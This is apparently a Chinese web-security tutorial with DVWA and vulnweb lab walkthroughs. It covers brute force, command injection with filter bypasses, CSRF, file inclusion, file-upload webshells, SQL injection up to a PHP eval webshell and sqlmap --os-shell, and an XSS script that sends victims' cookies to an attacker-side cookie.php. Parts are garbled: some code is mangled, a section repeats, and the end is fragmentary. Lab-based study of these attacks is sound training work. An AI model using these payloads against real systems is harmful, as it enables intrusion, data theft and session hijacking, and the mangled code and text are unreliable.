工欲善其事必先利其器
清除缓存
点击历史记录,进入后点击清楚浏览器数据
在弹出的窗口中进行清理
不得不提的隐身模式
找到打开新的无痕式窗口,点击进入
查看网页源代码
查看DOM元素
在想要查看处鼠标右键就可以打开开发者工具栏并定位到你想看的地方。F12也可打开开发者工具栏,左上角有个鼠标样式的按钮,也可以定位查看。
查看网络数据包
F12调出“开发者工具栏”,点击Network
F5刷新页面或进行相应操作
以Firefox为例,点击扩展和主题进入
在查找栏中输入你要寻找的插件即可
找到对应插件下载安装即可。
firebug新版本下该扩展已经无法使用。而且firebug官方已经宣布停止对新版火狐浏览器进行适配。推荐尝试下其替代调试工具:Developer Tools。相对于firebug,该扩展集成于浏览器内部,功能更为强大。
HackBar为Firefox浏览器提供快速构造HTTP请求及多种编码变换的功能
编辑Cookie类插件为Firefox浏览器提供快速修改,增加,删除Cookie的功能。
代理工作原理:
ip代理工具的工作原理,等同于1个接入服务器端和网络服务器的“转运站”,在人们向虚拟服务器明确提出要求后,服务器代理先得到客户的要求,再将服务项目要求转送至虚拟服务器,并将虚拟服务器意见反馈的結果再转送到服务器端。这就相当于说,和服务器端沟通的是服务器代理,由它在表面,服务器端则掩藏在背后。
常用的代理工具包括:Burpsuite,Charles,Fiddler
Burpsuite:基于Java环境,跨平台,功能强大,除了代理抓包还有丰富的安全测试功能
Charles:基于Java环境,跨平台;代理抓包功能细致,操作简单
Fiddler:Windows下运行;提供免费的个人版本。
Python语言上手简单,Web功能强大,目前有很多Python语言开发的Web安全工具
下载Python安装包:www.python.org,官网下载,安装前点击Add Python to Path,方便后续使用,减少麻烦。
什么是“敏感文件”?
敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件如果没有保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。
常见的“敏感文件”类型:
网站管理后台,数据文件,备份文件,Webshell
敏感文件探测原理:猜测文件名,然后根据返回的HTTP状态码判断文件是否存在
(200:文件存在 301:文件发生跳转 404:文件不存在)
实战:用“御剑”扫描敏感文件
目标站点:http://testasp.vulnweb.com http://testphp.vulnweb.com
字典选择(参考):ASP.txt,DIR.txt,MDB.txt,PHP.txt
改进思路:
首先思考:字典越大越好吗?收集的时候字典越大越好,但扫描的时候字典越大扫描越慢,要做好字典的分类
如何判断常见网站脚本类型?(ASP,PHP,ASPX,JSP等)
一个简单的方法:判断index的文件类型
查看:index.asp,index.php,index.aspx,index.jsp等是否存在
如何生成针对性的字典?
可能存在的备份文件名(以目标站点为例)
testaspvulnwebcom.rar vulnweb.com.rar TESTASP.VULNWEB.COM.rar
利用python小程序:根据URL生成目标备份文件猜测字典
综合性Web漏洞扫描器:AWVS,Netsparker,AppScan
一款优秀的漏洞扫描器是一批安全专家将自己积累的“测试手法”和“测试经验”自动化的产物,是宝贵的智慧结晶。
本篇以AWVS为例(所有相关博客均可找我领取):
扫描流程与基本原理:
扫描配置与目标基本信息探测——>爬虫:目标站点页面爬取——>各个漏洞探测模块:具体的漏洞测试——>漏洞结果记录和呈现
改进思路:
漏洞评级问题:
技术角度+业务角度(比重较大)
漏洞扫描结果的解读和运用:
测试用例可能需要调整
误报与漏报
将扫描结果作为人工测试的线索
尽信书,则不如无书
SQL注入的成因是因为服务器要执行的数据库代码拼接了用户输入的数据。
SQL注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖库)
利器——SQLmap
sqlmap.org
命令行工具
1)只需要关注输入和输出
2)看到流程化的执行细节
sqlmap是一款开源的SQL注入漏洞检测与利用神器
sqlmap为何被称为神器?
支持的数据库:
MySQL,
Oracle,
Microsoft SQL Server,
SQLite,
PostgreSQL,
Microsoft Access,
IBM DB2,
Firebird,
Sybase和SAP MaxDB
支持的参数设置:GET,POST or Cookie parameters or via the HTTP User-Agent request header
sqlmap基本语法:
小技巧:字母缩写前一个-,完整单词前是两个–
判断注入点:命令:python sqlmap.py -u “目标URL”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1
查看用户:–users
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --users
查看有哪些数据库:-- dbs
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dbs
当数据库和用户较多时,我们会查看当前用户和当前数据库。
--current-user
--current-db
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db
读取数据库: --tables -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --tables -D “acuart”
读取表的列信息:–columns -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --columns -T “users” -D “acuart”
查看有多少条数据:–count -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --count -T “users” -D “acuart”
读取数据:–dump -T “表名” -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “users” -D “acuart”
选择性读取:–start 2 --stop 3
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “poducts” -D “acuart” --start 2 --stop 3
(读取第二条到第三条)
下载数据:–dump-all -D “数据库名”
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump-all -D “acuart”
读取本地文件:-r
–data=DATA :Data string to be sent through POST (e.g. “id=1”)
在实际环境中,确定注入点以及基本的信息就可以了
通过百度首页右上角的设置——>高级搜索
Google Hack技术:
万物互联:个人计算机和服务器,路由器,智能家电,平板电脑,收集,摄像头,工业控制设备等。
如果把每一个接入互联网的设备看做一个节点,就构成了我们的网络空间
Shodan,ZoomEy,FOFA
网络空间搜索引擎基本原理:探测/爬取——>识别/打标签——>存储供检索
对目标站点进行基本信息探测:whatweb.net
IP站点查询:www.ipip.net
哈希值密文转明文:www.cmd5.com
站长工具:tool.chinaz.com
web安全是一门真枪实干的学科(挖漏洞)
web基础知识——>了解我们挖洞的对象
web安全基础——>我们可以挖哪些洞
web安全工具——>我们挖洞过程中可以使用的工具
web安全实战——>我们挖洞过程中的技巧以及填坑方法
web安全体系建设——>把挖洞作为事业来干需要注意什么
误区:不要局限于某个系统,某种语言,某个工具,某段代码
我们学习的是挖洞思路。
phpstudy:http://www.phpstudy.net/
浏览器访问自己电脑IP说明安装成功
DVWA:用php语言编写的web安全渗透测试环境
官网下载:http://www.dvwa.co.uk/
解压代码到phpstudy网站根目录
Tips:phpstudy默认网站根目录是安装目录下的WWW目录
打开DVWA数据库配置文件config/config.inc.php
因为MySQL默认账号密码是root,所以修改数据库配置文件为PHP study默认配置(将密码改为root)
访问http://自己电脑IP/DVWA目录/setup.php
点击“Create/Reset Database”按钮创建数据库
访问http://自己电脑IP/DVWA目录/login.php
输入用户名admin,密码password,成功登录
至此,DVWA部署成功
确认破解范围——>确认破解动作——>确认破解结果
OWASP ZAP可以截取并处理代理网口的数据包。
开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个组织,它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。其目的是协助个人、企业和机构来发现和使用可信赖软件。开放式Web应用程序安全项目(OWASP)是一个非营利组织,不附属于任何企业或财团。
ZAP则是OWASP里的工具类项目,也是旗舰项目,全称是OWASP Zed attack proxy,是一款web application 集成渗透测试和漏洞工具,同样是免费开源跨平台的。
手工破解
登录DVWA
用户名:admin 密码:password
调整安全等级:Low
确认破解动作:
确认破解结果:
确认破解范围:
开始暴力破解:
手工循环操作的次数由字典的大小决定
成功破解用户名/密码为admin/password
自动实战
Firefox代理设置——>ZAP代理设置——>抓包
自动方法:错误响应页面4.381KB,正确响应页面4.424KB
确认破解范围:设置username字典,设置password字典
开始暴力破解:点击“Start Fuzzer”
可以对数据包大小进行排序,最终可以看到我们成功的账号密码较大
Medium等级:我们按照Low难度的操作进行一遍,发现这次时间非常长。
上一次的响应时间是毫秒级的,而这次的是很多秒;
经过查看源代码,我们发现每错误一次就要等待两秒,会导致时间加长。
High等级:抓包发现每次登陆参数user_token都是动态且不可预测的随机字符串
下一次的user_token会在上一次的相应暴力返回给浏览器
针对这样的情况我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作
重理思路:
破解动作:访问首页——获得usertoken参数——发送带usertoken的登陆数据包
记录usertoken值:
设置攻击类型,Payload1和Payload2:
设置Payload1 并导入字典:
Payload2设置:选择Recursive grep
找到Grep Extract 添加
1、refetch response 2、搜索token 3、选中 4、点击ok
redirections设置为always
设置复制的user token
设置线程为1,然后点击开始爆破
成功找到账号密码
Impossible等级:账号密码输错三次就会被要求等待十五分钟,有效地防止了暴力破解。
防止暴力破解除了限制错误登录次数,还有验证码。
命令——>操作系统的命令
注入——>通过web程序在服务器上拼接系统命令
进入DVWA ,Security Level选择Low
进入Command Injection,是命令执行的主界面
乱码问题解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”
正常操作:输入IP地址——>点击提交
猜测命令:显示结果——>ping 127.0.0.1
推测调用了我们的系统命令——ping命令
手工实战
确认可控字段:
确认命令语句:
Windows下如何连接两条命令?使用**&&**符号
输入注入命令,显示注入结果:
命令注入流程:判断是否调用系统命令——>判断函数或函数的参数是否可控——>判断可控参数是否可以拼接注入命令
Medium:
首先我们输入和上一个一样的命令127.0.0.1&&net user
我们发现&&符号没有显示,说明被过滤掉了。这时我们要思考Windows下除了&&还有什么符号可以连接两条命令?
一个&符号也是可以连接两条命令的,我们可以去试一下。127.0.0.1&net user
成功执行命令。
High:
我们将上面两个在high上面都试一下,发现都是不可运行的。这时我们就要想有没有什么&还能连接两条命令?没错,就是|
127.0.0.1|net user
我们发现只有net user的结果执行出来了,ping命令并没有展示出来,这里并不影响我们的利用。
Impossible:限制了输入IP的格式,有效防止了命令注入
修复
通常我们会想到黑名单,但是对于SQL注入漏洞来说黑名单并不可靠,我们通常会选用白名单,要求输入的IP格式与我们规定的格式相同。
我们使用黑名单过滤了命令,在windows系统中我们可以使用” “来进行绕过(who”“ami,who”“am”“i),在Linux系统中更加灵活,Linux系统甚至还支持单引号(host‘ ’name)
实战技巧
&,&&,|,||命令拼接符的区别:
如果不显示输出结果怎么办?
跨站请求伪造(Cross-site request forgery),其中跨站请求是由受害者操作的,只有伪造是攻击者进行的。
受害者角度:用户在当前已登录的web应用程序上执行非本意的操作
攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作
手工实战
准备:firefox,dvwa,hackbar,foxyproxy,burpsuite
进入DVWA系统,难度选择Low,进入CSRF,是CSRF攻击的主界面,是常见的修改没密码功能。
正常操作:输入新密码,再输入新密码,点击提交
页面提示密码改变了,退出重新登录检验密码是否成功修改。
开启foxyproxy,用burp进行抓包,再次执行刚刚的三步操作
打开数据包,修改数据包
退出重新登录,用修改过的数据包的密码登陆成功。
攻击者通过修改数据包的账号密码将其变成新的get请求,以链接形式发送给用户,希望用户点击以执行,通常会对这个链接进行重新包装,即重新构造HTML。
比较通用的方法就是快速构造HTML表单,将HTML表单输入到hackbar中,点击split URL进行分割
再将分割好的内容分别填入已经构造好的HTML函数
通常黑客不使用click me按钮,而是使用JS脚本自动提交的。
将生成的html文件放入到phpstudy的根目录下。将包装好的链接发送给受害者,诱骗受害者点击。
受害者点击后,密码会直接被修改。即使受害者发现,此时黑客也已经使用你修改后的密码进入了你点账户,拿走了他想要的信息。
Medium:
我们尝试使用low等级的方法,受害者点击后,我们的修改密码界面会发生跳转,提示我们请求不正确
我们继续进行抓包分析,手工输入修改是成功的。
然后我们对成功和失败的数据包进行分析,查找失败原因。
对比后我们可以发现请求包头部信息里面referer的信息不同,难道是medium对referer有限制?
我们接下来可以进行尝试,修改referer直到提示成功。
通过不断的修改我们发现referer只要包含host就能绕过限制!这样的校验是存在问题的,仅仅检验了是否存在host。这样就为后门我们的攻击提供了机会。
我们进行验证,将referer直接修改成host
由此,我们攻击者的思路也应该由构造HTML转变为构造链接
我们可以选择构造一个和host相同的文件夹,将html文件放入,这样我们的链接中就会包含host字段了。
后面的步骤就和之前一样了——诱骗受害者点击,受害者点击后,攻击者登录。
High:
对比medium和high的数据包我们可以发现,high在medium的基础上加了user_token参数,每次修改密码user_token都是不一样的。这里我们就可以想到前面做的暴力破解的High也是由user_token,并且user_token来自上一次的响应包。所以low和medium的方法我们都不能使用了,但是这并不是绝对的,如果该网站存在XSS漏洞,我们依旧可以结合XSS漏洞获取页面中的user_token参数。
CSRF Token:我们称这种类型的随即参数为csrf token,它保证了攻击者无法猜测到所有参数。
为何暴力破解可以突破CSRF Token?因为构造HTTP请求的人不一样:暴力破解的攻击者是当前用户,受害者是其他用户。CSRF的攻击者是其他用户,受害者是当前用户。
Impssible:需要输入原始密码,有效防止了CSRF
修复
校验Referer,随机Token(这个很有效,业内普遍做法),验证码(牺牲用户体验来遏制CSRF)
文件包含等同于偷梁换柱。文件包含其实是一种代码处理方法,函数如include,require等,参数是文件名。
文件包含漏洞:文件名参数用户可控且过滤不严,被攻击者偷梁换柱。
文件包含:include(“hello.php”)
手工实战
进入DVWA,选择等级Low,进入File Inclusion,是文件包含漏洞的主界面。
如果出现The PHP function allow_url_include is not enabled.说明我们allow_url_include没有设置,allow_url_include它是允许php远程包含url的配置,我们需要开启它。
配置方法:phpstudy主界面其他选项菜单——>php扩展及设置——>参数开关设置——>将allow_url_include打勾
按F5刷新就没有这个提示了。
正常操作:file1.php file2.php file2.php
我们发现URL除了page都没有变化。
尝试:将page改为test.php,发现报错:提示我们没有找到这个文件的信息,因为我们是随便写的,所以当然没有这个文件。也说明我们的尝试是正确的,服务器会去寻找这个文件。我们同时有新的发现,他爆出了web的绝对路径,这是我们后面要用到的。
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=xxx.php
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\xxx.php ”)
固定字段:include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\
可控字段:xxx.php
攻击——本地文件读取
读取C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini内容
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini”)
include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\…/…/php.php ”)
固定字段:C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\
可控字段:…/…/php.php
验证:先访问原始内容,查看文件里是什么。再访问我们刚刚构造好的URL进行访问,在页面顶部出现了php.ini的文件内容,所以我们读取成功。
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=…/…/php.ini
攻击——本地文件执行
读取其他目录的PHP脚本会怎样?显示内容还是执行PHP代码?
DVWA根目录有一个phpinfo.php的文件,可以显示服务端php的相关配置信息。
phpinfo.php所在的文件位置与php.ini位置相同,说明文件包含不但能读取文件,还能运行文件。
攻击——远程文件执行
这个文件可以放在任何地方?只要有php代码的文件都会执行?
非PHP文件只要包含PHP代码就可以被执行。远程的执行不是在web攻击者的服务器上执行,因为这并没有什么意义,我们期望的是在受害者的web服务器上执行(用phpinfo.txt)。
phpinfo.php:
phpinfo.txt:
Medium
根据Low直接执行php.ini是失效的,弹出错误信息,说明过滤了某些字符。
我们最终发现是…/这个字符串被过滤了。(使用排除法逐个排除)
知道这些之后,我们就不能再使用…/来返回上层目录了。我们想到可以使用…\
验证:
果然成功读取了php.ini里面的内容。
远程文件执行过滤了http://完整字符串这样的整体,分开是不会过滤的
解决的方法似乎也有
成功攻破medium等级的远程文件执行。
High:
用Low和Medium的方法均失败。
我们不断尝试,发现服务端只认file开头的参数
file协议,文件传输协议,访问本地计算机中的文件
file://加上物理路径
file协议可以读取系统文件。
远程文件执行也是只支持file开头的字符串。这可就麻烦了,file协议只支持本地文件,远程的不支持。如果有一种方法可以将远程的文件传到服务器上就好了,这就是文件上传漏洞。这需要结婚文件上传漏洞,然后进行本地文件执行。
攻击者思路:攻击者不需要租户的web服务器,利用文件上传漏洞,上传含有恶意代码的文件——>获取文件所在物理地址——>成功执行恶意代码
Impossible:
只允许四个文件名,有效地防止了文件包含漏洞
修复
medium方法是黑名单方法,而high和impossible用的是白名单方法,白名单的方法更加有效,能够防止更多的恶意攻击。
文件上传:文本中的常见功能,将本地文件上传到服务器上。
文件上传漏洞:web允许用户上传恶意代码文件,并在服务器上运行。
upload(“hello.php”),我们要做的就是将hello.php上传上去。
文件上传大小有限制: ( $uploaded_size < 100000 ),大于限制就会导致上传失败,上传前请调整好图片大小。
手工实战
准备:firefox,dvwa,hackbar,owasp ZAP
登录dvwa,选择Low等级,进入File Upload,是文件上传漏洞的主界面,是常见的上传图片的功能。
我们尝试直接上传一个php文件
通过显示的文件路径结合URL我们可以得出上传的文件存放发位置
到对应的URL里查看是否上传成功,我们看到下面这张图就知道上传成功了,说明存在文件上传漏洞。
利用漏洞:通过一句话webshell
反斜杠\需要转译,所以这里都是两个反斜杠。
Medium:
直接上传php文件失败。提示我们:Your image was not uploaded. We can only accept JPEG or PNG images.
看来我们要想别的方法了。我们用OWASP ZAP抓包试一下吧,
对比上传图片和php抓到的包的POST数据的不同,主要有三处:文件名,文件类型,文件内容
我们不断用成功的包中的数据代替php包中数据的位置,最后确认是文件类型的地方被服务端限制了,也发现了破解medium的方法:将Content-Type修改为image/jpeg
上传成功,进入URL测试一下,成功。
High:
使用low和medium的方法对high都无效。
我们对比数据包发现还是那三个地方不同,我们最终确认是文件后缀和文件内容被限制了。
文件内容的限制真的是无懈可击吗?
制作内涵图:copy 1.jpg/b + 1.txt/a 2.jpg (其实就是图片马)
借助web文件解析漏洞:nginx解析漏洞
切换phpstudy:
打开配置文件,php.ini检查cgi.fix_pathinfo是否为1,一般默认都是为1的。不是1的话修改为1.
这样的服务端设置就存在畸形解析的问题。xxx.xxx/xxx.php这样的路径只要前一个文件存在就会当成后面的php文件解析
这样php文件就能解析了。
Impossible:重新生成了图片,有效地防止了文件上传漏洞。
修复
阻止非法文件上传:文件后缀名的白名单,文件类型校验,文件内容头部的判断。
组织非法文件执行(例如impossible):文件重命名,文件压缩重生成,存储目录执行权限,存储目录与web分离
SQL注入:通过web程序在数据库里执行任意SQL语句
SQL回显注入:数据库的执行结果会直接运行到页面上
手工实战
准备:firefox,dvwa,hackbar,sqlmap
登录dvwa,选择Low等级,进入SQL Injection,是SQL回显注入的主页面
正常操作:输入1,提交,查询结果
猜测这个SQL语句长啥样:SELECT First name,Surname from xxx Where userID = 我们输入的ID
先探测是否存在漏洞,最简单的是在1后面添加单引号‘,如果存在漏洞,就会按如下报错:
输入1’,提交,错误回显:
1是对的,1‘是语法错误的,所以他是存在SQL注入漏洞的。
三种注入POC:
… where user_id = $id ——> … where user_id = 1 or 1024 = 1024
… where user_id = ‘$id’ ——> … where user_id = ‘1’ or ’1024’ = ‘1024’
… where user_id = “$id” ——> … where user_id = “1” or “1024” = “1024”
第二种:
这里执行成功,表示代表where语句已经被成功的or条件执行。
所以我们可以判断这里是用单引号对变量进行闭合的。
三种MySQL注释符
#(忽略) 单行注释,注意与url中的#区分,常编码成%23
-- (忽略) 单行注释,注意是短线短线空格
/*(忽略)*/ 多行注释,至少有两处输入,/**/注入中常用来作为空格
确定查询字段数
1’ order by 10#
最终我们确定字段数为2.
判断回显点
id=xx’+union+select+1,2-+
说明我们这里可以一下查询两个数字。
查询数据库信息
id=xx’+union+select+@@version,@@datadir–+
version:数据库版本
datadir:数据库目录
查询用户名和数据库名
id=xx’+union+select+user(),+database()–+
查询表面
id=xx’+union+select+1,table_name+from+information_schema.tables+where+table_schema=,dvwa’–+
我们可以查到两个表,一个是guestbook,一个是user。
查询列名
id=xx’+union+select+1,column_name+from+information_schema.columns+where+table_name=‘users’–+
我们发现这里有user和password这两个敏感信息,我们下一步就去查询他们。
查询用户名和密码
id=xx’+union+select+user,password+from+users–+
我们发现密码是一串哈希串,所以我们需要去获取明文密码。
这里我们不需要自己去查,借助cmd5网站的反查功能,很轻松就可以解决
文件读取
id=xx’+union+select+1,load_file(“本地文件地址”)–+
写webshell
PHP一句话木马:
@eval($——GET['cmd']);
?>
首先我们需要知道写入web目录的物理路径,我们采用的方法就是通过引发异常导致应用报错,报出物理路径。
select…into outfile…
?id=xx'+union+select+"","webshell"+into+outfile+' C:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php'--+
自动实战
sqlmap攻击
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3”
执行slmap语句,查看注入类型。
查看当前用户和数据名
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” --current-user --current-db
查看表
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --tables
查看列名(字段名)
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa --columns
查看用户名和密码
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --dump
我们看到sqlmap它还支持自动破解MD5
获取webshell
sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3” -D dvwa -T users -C user,password --os-shell
输入物理路径,执行dir
Medium:
这里变为了下拉选择,我们无法输入进行修改了。但是我们可以用burp抓包修改。
我们抓到的包是这样的,我们可以在这里对id进行修改
修改为1’,发现报错了
这个错误的页面的意思是单引号被转译了。然后我们尝试双引号,发现也被转译了,最后我们尝试一下没有引号。
我们改为1 or 1=1
运行成功了。
medium注入技巧:在SQL注入遇到转义字符串的单引号或者双引号的情况下,我们可以使用HEX编码进行绕过。
High:
我们点击进来后,发现是一个超链接
正常操作:
点击超链接进入,输入id查询,结果显示在原页面。
我们尝试一下单引号,发现一下就注入了。同low相同。
但是high我们用sqlmap操作比较麻烦,因为注入的点和返回的点不在同一个页面,你用sqlmap直接跑你会发现跑不出来。
但是sqlmap有一个参数是可以支持指定返回的页面,它就是–second-order
Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地防止了SQL注入
所以SQL注入漏洞最好的修复方法就是参数化SQL语句
SQL盲注就是数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态。
手工实战
我们选择low进入:输入1,提交,查询结果为真。
输入-1,提交,查询结果为假。
确定注入POC
1 and 1024=1025
我们发现查询结果为真,说明and后面假的语句没有插入进去,这里不存在注入漏洞
1‘ and ’1024‘=’1025
我们发现查询结果为假,所以这里就是使用单引号闭合的。
1” and “1024”=“1025
和第一个一样,不存在漏洞
盲注思路:1’ and 真 - - 1‘ and 假 - -
length(str) 获取字符串长度(字符串)
确定字符串长度:
1’ and length(database())>1 - -
1’ and length(database())>10 - -
然后使用二分法继续查询
substr(expression,start,length) 获取子字符串(原始字符串,字符串开始位置,子串长度)
ascii(string) 获取第一个字符的AASCII数值(字符串)
确定字符串内容(单字符ASCII码范围:0-127)
1’ and ascoo(substr(database(),1,1))>64 - - ——>64 继续使用二分法来确定,最终确定数据库名字为dvwa。 延时注入: if(expr1,expr2,expr3) 如果expr1为真,返回expr2,否则返回expr3 sleep(N) 休眠(N秒) 1’ and sleep(if(length(database())=4,5,0))- - benchmark(count,expr) 重复计算(次数为count,表达式) 1’ and benchmark(if(length(database())=4,5000000,0),md5(‘test’));- - 自动实战 sqlmap的使用基本和回显注入相同。 sqlmap有一个**-v**函数,用于输出详细的信息。-v 1表示输出最少,-v 6表示输出最多。 sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=low;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -current-db -v 3 学习sqlmap注入方法: cast(expressuin as data_type) 数据类型转换(表达式as新的数据类型) ifnull(expr1,expr2) 如果expr1是null,返回expr2,否则返回本身 mid(expression,start,length) 获取子字符串(原始字符串,子串开始位置,子串长度) ord(string) 获取第一个字符的ASCII数值(字符串) payload语句:1‘ AND ORD(MID((IFNULL(CAST(DATABASE()AS CHAR),0x20))1,1))>64 AND ‘kqKY’=‘kqKY’ Medium: 改包为1 and 1=2,结果为假。手工利用的方式和回显注入一样。 自动利用的我们尝试一下和回显注入差不多,只是提交的方式和注入的类型不同。 High: 尝试:1’ and ‘1’=’2’- - 结果为假。手工也是一样的。 自动注入使用sqlmap发现失效了,我们分析一下,是id不见了。我们发现id写在了cookie中然后去提交,流程发生了变化。 sqlmap命令:sqlmap.py -u “http://10.240.138.212/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” - -cookie=“security=high;PHPSESSID=qlt1hbm8aueds2lga6aehe87s0” - -level 2 成功搞定,剩下的就和之前一样了。 Impossible:检测了id数据类型,使用了预编译绑定id变量,有效地放置了SQL注入。 修复 参数化SQL语句,数据类型检测,用户输入过滤 Cros-site scripting 跨站脚本 XSS本质上是一种客户端代码注入漏洞,通常注入的代码是JavaScript。区别于命令注入,SQL注入等服务端代码注入。 存储,反射,DOM三种XSS区别: 登录dvwa,进入XSS(Reflected) 和 XSS(Stored) 选择安全等级low,输入xss,提交,显示 输入< xss >标签,我们发现xss没有了 我们似乎可以注入标签。下面我们来进行弹窗测试,这是xss最普遍的测试和证明的方法,能弹窗就说明存在XSS。 我们来试一下浏览器能够识别的script标签 我们可以看到我们已经成功注入了JS脚本,说明存在XSS漏洞。 JavaScript弹窗函数:alert() confirm() prompt() 如果其中一个函数被过滤了我们可以尝试另外两个。 攻击思路:用户登录被攻击的web服务器,攻击者向用户发送url(包含攻击JS),用户访问攻击url,被攻击的web服务器会对攻击JS回应,用户浏览器执行JS脚本,在用户不知情的情况下发送用户凭证到攻击者的web服务器上,攻击者获取到这个信息,使用用户身份登录到被攻击的web服务器,这时攻击者就可以以用户的身份进行任意操作了。 攻击者web设计: 新建一个cookie.php文件,内容为 构造攻击js 构造并发送攻击url 这样的访问并不会成功,我们还需要对url进行编码(URLencode) 获得cookie 用户点击后,我们的cookie.txt就有内容了 劫持会话 攻击者访问dvwa网站,修改cookie为获取到的cookie值。随后直接访问dvwa的index.php,成功的以admin的身份进入。 Medium: low方法已经失效了 信息表面过滤了script标签。 我们尝试使用 High: 用low和medium的方法都是失效的,所以我们要想其他方法。能够执行js脚本的标签还有: Impossible: Low 进行存储型XSS尝试的时候,遇到的第一个问题就是限制了输入长度,XSS代码输不完整。 通过查看源代码,我们可以发现其对字数进行了限制。我们可以直接在这里将数值大小进行修改,绕过限制。 Medium 既然是删除式过滤,常规思路可以尝试以下大小写绕过,双写绕过之类的,不行的话试试没有script的payload。 这次我们还是使用双写绕过。 成功弹框 High 弹窗成功 Impossible: mysql_real_escape_string函数会对引号进行转移,防止SQL注入 输入过滤:不提倡黑名单,推荐白名单,数据要在服务端限制 输出过滤:HTML编码,JS转移 了解企业体系安全建设,才能更好的挖掘到有价值的漏洞。 对企业来说,攻防成本是不对等的。 知攻知防,建设安全体系。 SDL是什么? 安全开发生产周期(Security Development Lifecycle),SDL从源头降低安全风险,符合Secure at the Source的战略思想,是微软提出的从安全角度指导软件开发过程的管理模式。SDL不是一个空想的理论模型。它是微软为了面对现实世界中安全挑战,在实践中的一步步发展起来的模式。 为什么要用SDL? SDL流程由哪几个阶段组成? 培训——需求——设计——实施——验证——发布——响应 SDL流程在每个阶段需要我们做什么事? 安全漏洞不等于安全事件。存在安全漏洞不一定会被利用,安全漏洞只是客观存在的弱点。而安全事件是已经发生的,并且已经对企业造成了一定的影响和损失的事实。并且安全事件也不一定是安全漏洞造成的,比如人为的操作失误和机房断电等问题造成的。 企业如何发现安全问题? 如何处理安全问题? 企业如何处理安全事件? 安全是一个过程,需要持续的运营。 安全运营有哪些工作? 发现和修复安全问题 防御体系建设和快速响应攻击 SDL推动 如何落地? 了解企业体系安全建设,才能更好的挖掘到有价值的漏洞。 对企业来说,攻防成本是不对等的。 知攻知防,建设安全体系。 SDL是什么? 安全开发生产周期(Security Development Lifecycle),SDL从源头降低安全风险,符合Secure at the Source的战略思想,是微软提出的从安全角度指导软件开发过程的管理模式。SDL不是一个空想的理论模型。它是微软为了面对现实世界中安全挑战,在实践中的一步步发展起来的模式。 为什么要用SDL? SDL流程由哪几个阶段组成? 培训——需求——设计——实施——验证——发布——响应 SDL流程在每个阶段需要我们做什么事? 安全漏洞不等于安全事件。存在安全漏洞不一定会被利用,安全漏洞只是客观存在的弱点。而安全事件是已经发生的,并且已经对企业造成了一定的影响和损失的事实。并且安全事件也不一定是安全漏洞造成的,比如人为的操作失误和机房断电等问题造成的。 企业如何发现安全问题? 如何处理安全问题? 企业如何处理安全事件? 安全是一个过程,需要持续的运营。 安全运营有哪些工作? 发现和修复安全问题 防御体系建设和快速响应攻击 SDL推动 如何落地?
XSS
反射型
http://127.0.0.1/DVWA-master/vulnerabilities/xss_r/?name=
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt,
$cookie');
?>
<script>document.location=
'http://127.0.0.1/cookie.php?
cookie='+document.cookie;
script>
http://10.240.138.212/DVWA-1.9/vulnerabilities/xss_r/name=
security=low;
PHPSESSID=tkgm1hqifl8du9rdkdge7ba0c2
标签,也可以插入XSS代码。输入,成功注入JavaScript。说明服务端只是过滤了script标签。
htmlspecialchars——>可以编码& “ ‘ < > 为 & " ' < >
